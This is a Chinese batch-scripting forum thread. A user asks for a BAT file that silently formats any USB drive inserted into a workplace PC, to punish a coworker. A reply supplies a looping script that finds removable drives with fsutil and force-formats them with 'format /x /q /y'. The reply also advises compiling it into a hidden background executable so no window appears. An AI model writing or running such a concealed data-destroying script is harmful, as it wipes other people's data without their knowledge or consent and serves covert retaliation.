[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[系统相关] 批处理如何实现检测是否插入U盘并对U盘进行格式化

本帖最后由 pcl_test 于 2016-10-16 22:49 编辑

单位有个很小很小的头目,老是从网上下些东西来放到别人机上干扰工作,如屏保、女人图片等等。
我想请这里的人,做一个符合我要求的BAT文件来制裁这类心态不正的人。


只要电脑开着,不作任何动作,当U盘插入电脑时,立即启动存在于硬盘里的BAT文件,格式化插入的U盘,不管从那个口插入都一样格它没商量。
附多一个机主能控制不让其启动的文件。
先谢。

  1. @echo off
  2. color 1f
  3. :loop
  4. for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do fsutil fsinfo drivetype %%i:|find "可移动">>1.txt
  5. for /f "tokens=1 delims=: " %%j in (1.txt) do format /x /q %%j:/y
  6. del 1.txt
  7. goto loop
复制代码
刚学批处理,只能做成这样了。这个是要一直开着,只要有U盘插入的话就会被格式化。你说的,U盘插入再启动。。我是不会了。
批处理做好后,用工具做成可执行的幽灵程序,就可以没有CMD窗口出现而在后台运行了。

[ 本帖最后由 liaobiaoxing 于 2009-6-28 01:47 编辑 ]

TOP

原帖由 liaobiaoxing 于 2009-6-28 01:15 发表
@echo off
color 1f
:loop
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do fsutil fsinfo drivetype %%i:|find "可移动">>1.txt
for /f "tokens=1 delims=: " %%j in (1.txt) do format /x / ...

这个没用,达不到要求。不过,也得谢谢你的努力和热心。。。

TOP

返回列表